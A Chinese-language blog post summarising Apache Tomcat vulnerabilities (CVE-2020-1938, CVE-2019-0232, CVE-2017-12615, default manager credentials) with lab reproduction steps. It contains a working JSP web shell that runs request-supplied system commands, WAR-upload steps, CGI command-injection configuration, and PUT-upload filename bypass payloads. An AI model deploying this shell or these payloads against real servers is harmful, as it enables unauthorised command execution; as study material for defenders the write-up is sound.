tomcat漏洞總結

seven發表於2021-09-06

描述

Tomcat是Apache 軟體基金會(Apache Software Foundation)的Jakarta 專案中的一個核心專案,由Apache、Sun 和其他一些公司及個人共同開發而成。由於有了Sun 的參與和支援,最新的Servlet 和JSP 規範總是能在Tomcat 中得到體現,Tomcat 5支援最新的Servlet 2.4 和JSP 2.0 規範。因為Tomcat 技術先進、效能穩定,而且免費,因而深受Java 愛好者的喜愛並得到了部分軟體開發商的認可,成為目前比較流行的Web 應用伺服器。

Tomcat 伺服器是一個免費的開放原始碼的Web 應用伺服器,屬於輕量級應用伺服器,在中小型系統和併發訪問使用者不是很多的場合下被普遍使用,是開發和除錯JSP 程式的首選。對於一個初學者來說,可以這樣認為,當在一臺機器上配置好Apache 伺服器,可利用它響應HTML(標準通用標記語言下的一個應用)頁面的訪問請求。實際上Tomcat是Apache 伺服器的擴充套件,但執行時它是獨立執行的,所以當你執行tomcat 時,它實際上作為一個與Apache 獨立的程式單獨執行的。

訣竅是,當配置正確時,Apache 為HTML頁面服務,而Tomcat 實際上執行JSP 頁面和Servlet。另外,Tomcat和IIS等Web伺服器一樣,具有處理HTML頁面的功能,另外它還是一個Servlet和JSP容器,獨立的Servlet容器是Tomcat的預設模式。不過,Tomcat處理靜態HTML的能力不如Apache伺服器。目前Tomcat最新版本為10.0.5。

漏洞總結

CVE-2020-1938 檔案包含漏洞

CVE-2020-1938為Tomcat AJP檔案包含漏洞。由長亭科技安全研究員發現的存在於 Tomcat中的安全漏洞,由於 Tomcat AJP協議設計上存在缺陷,攻擊者通過 Tomcat AJP Connector可以讀取或包含 Tomcat上所有 webapp目錄下的任意檔案,例如可以讀取 webapp配置檔案或原始碼。

此外在目標應用有檔案上傳功能的情況下,配合檔案包含的利用還可以達到遠端程式碼執行的危害。

漏洞影響版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

漏洞分析

Tomcat在處理ajp協議時存在漏洞,可通過呼叫request.setAttribute為Tomcat設定任意request屬性。復現發現Tomcat ajp協議存在web目錄下任意檔案讀取漏洞以及JSP檔案包含漏洞。
當ajp URI設定為非jsp路徑時,Tomcat會呼叫DefaultServlet處理,此時會導致web目錄任意檔案讀取漏洞。

當ajp URI設定為jsp路徑時,Tomcat會呼叫JspServlet處理,此時會導致JSP檔案包含漏洞

poc地址

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

這裡不做復現

Tomcat後臺弱口令漏洞

在tomcat8環境下預設進入後臺的密碼為tomcat/tomcat,未修改造成未授權即可進入後臺

復現

搭建環境,我使用的是9.0.46版本

訪問後臺管理地址,使用tomcat/tomcat進入後臺

war木馬的製作過程

找到一個jsp的木馬

<%
    if("023".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
}
%>

2.將sp木馬放入 jdk1.8.0_73bin 目錄下,然後在cmd輸出已下命令(注意是必須在java環境下的,必須使用管理員許可權的)

jar cvf  +部署的war木馬 +自己bin目錄下的jsp木馬

木馬製作成功

上傳製作的war木馬

訪問上傳的1.jsp目錄然後就可以執行我們想要執行的系統命令

CVE-2019-0232 Apache Tomcat遠端程式碼執行漏洞

漏洞原理

漏洞相關的程式碼在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中,CGIServlet提供了一個cgi的呼叫介面,在啟用 enableCmdLineArguments 引數時,會根據RFC 3875來從Url引數中生成命令列引數,並把引數傳遞至Java的 Runtime 執行。這個漏洞是因為 Runtime.getRuntime().exec 在Windows中和Linux中底層實現不同導致的

Java的 Runtime.getRuntime().exec 在CGI呼叫這種情況下很難有命令注入。而Windows中建立程式使用的是 CreateProcess ,會將引數合併成字串,作為 lpComandLine 傳入 CreateProcess 。程式啟動後呼叫 GetCommandLine 獲取引數,並呼叫 CommandLineToArgvW 傳至 argv。在Windows中,當 CreateProcess 中的引數為 bat 檔案或是 cmd 檔案時,會呼叫 cmd.exe , 故最後會變成 cmd.exe /c "arg.bat & dir",而Java的呼叫過程並沒有做任何的轉義,所以在Windows下會存在漏洞

復現

Tomcat的 CGI_Servlet元件預設是關閉的,在conf/web.xml中找到註釋的 CGIServlet部分,去掉註釋,並配置enableCmdLineArguments和executable

這裡注意一下,去掉註釋並新增以下程式碼

<init-param>
  <param-name>enableCmdLineArguments</param-name> 
  <param-value>true</param-value>
</init-param>
<init-param>
  <param-name>executable</param-name>
  <param-value></param-value>
</init-param>

然後在conf/web.xml中啟用cgi的 servlet-mapping

修改conf/context.xml的新增 privileged="true"屬性,否則會沒有許可權

在C:\Tomcat\webapps\ROOT\WEB-INF下建立cgi-bin目錄,再在cgi-bin目錄下建立一個hello.bat檔案

hello.bat內容

在檔案後面追加我們要執行的系統命令

CVE-2017-12615 Tomcat遠端程式碼執行漏洞(PUT請求)

首先宣告的是CVE-2017-12615漏洞的利用條件是Windows+Tomcat 7.0.x+配置檔案readonly=false,配置檔案內容如:

<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

可以使用PUT方法上傳任意檔案,但限制了jsp字尾的上傳

但是當我們利用Windows特性以下面兩種方式上傳檔案時,tomcat並不認為其是jsp檔案從而交由DefaultServlet處理,從而成功建立jsp檔案。

evil.jsp%20
evil.jsp::$DATA

初次之外當我們上傳evil.jsp/ 型別的檔案時(即以反斜槓結尾)時同樣會成功建立jsp檔案,並且這種方式把PUT漏洞的利用擴充套件到了Linux平臺及Tomcat的5.x-9.x的所有版本

環境搭建

這裡使用vuluhub的docker進行漏洞復現,這裡就不詳細介紹環境搭建了

訪問8080埠 對應的是Tomcat 8.5.19

使用burp抓包發現為get請求

將其改為PUT請求 並新增內容後發包 返回201

訪問1.html 可以看到我們剛才寫進去的內容

嘗試傳入jsp檔案馬 返回404,並不能成功上傳檔案

這時候就要用到我們剛才說的,因為我是vuluhub搭建的 所有可以使用1.jsp/來繞過

直接使用冰蠍進行連結

參考文章

https://mp.weixin.qq.com/s/CJ3e4lx0AlLq_zJI4rHw2A
https://blog.csdn.net/helloexp/article/details/89377270

相關文章